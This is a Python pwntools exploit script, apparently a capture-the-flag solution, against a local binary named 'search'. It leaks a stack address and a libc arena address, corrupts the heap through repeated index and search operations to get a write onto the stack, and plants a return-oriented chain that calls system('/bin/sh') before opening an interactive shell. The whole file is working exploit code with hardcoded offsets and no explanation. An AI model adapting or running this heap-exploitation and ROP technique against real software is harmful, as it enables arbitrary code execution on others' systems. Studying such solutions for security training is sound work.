from pwn import *

def leak_stack():
    p.sendline('A' * 96)
    p.recvuntil('A' * 48)
    p.recvuntil('A' * 48)
    stack_addr = p.recv(6).ljust(8, '\x00')
    stack_addr = u64(stack_addr)
    return stack_addr

def leak_libc():
    index('A' * 0x100 + ' ' + 'B' * 10)
    search('B' * 10)
    search('\x00' * 10, False)
    p.recvuntil('Found 267: ')
    libc_main_arena = p.recv(8).ljust(8, '\x00')
    libc_main_arena = u64(libc_main_arena)
    p.sendline('n')
    return libc_main_arena

def search(word, delete = True):
    p.sendline('1')
    log.info('search("%s", "%s")' % (word, delete))
    p.sendlineafter('Enter the word size:\n', str(len(word)))
    p.sendlineafter('Enter the word:\n', word)
    if delete:
        p.sendlineafter('this sentence (y/n)?\n', 'y')

def index(sentence):
    p.sendline('2')
    log.info('index("%s")' % sentence)
    p.sendlineafter('Enter the sentence size:\n', str(len(sentence)))
    p.sendlineafter('Enter the sentence:\n', sentence)

p = process('./search')
e = ELF('./search')

puts_plt = e.plt['puts']
puts_got = e.got['puts']

poprdi_addr = 0x400e23
restart_addr = 0x400D60

libc_system_arena_offset = 0x35cdf8
libc_binsh_arena_offset = 0x235461

def exploit():
    print pidof(p)
    pause()

    stack_addr = leak_stack()
    stack_controllable_addr = stack_addr + 0x22
    log.info('0x%x, 0x%x' % (stack_addr, stack_controllable_addr))

    libc_main_arena = leak_libc()
    log.info('0x%x' % (libc_main_arena))
    system_addr = libc_main_arena - libc_system_arena_offset
    binsh_addr = libc_main_arena - libc_binsh_arena_offset

    index('a' * 0x27 + ' ' + 'b' * 1)
    index('c' * 0x27 + ' ' + 'd' * 2)
    index('e' * 0x27 + ' ' + 'f' * 3)
    search('b')
    search('d' * 2)
    search('f' * 3)
    search('\x00' * 2)
    search('\x00' * 3)
    search('\x00' * 2)

    x = p64(stack_controllable_addr - 0x8)
    x = x.ljust(0x30, 'A')
    index(x)

    index('B' * 0x30)
    index('C' * 0x30)

    x = 'D' * 30
    x += p64(poprdi_addr)
    x += p64(binsh_addr)
    x += p64(system_addr)
    x = x.ljust(0x30, 'E')
    index(x)

    p.interactive()


if __name__ == '__main__':
    exploit()
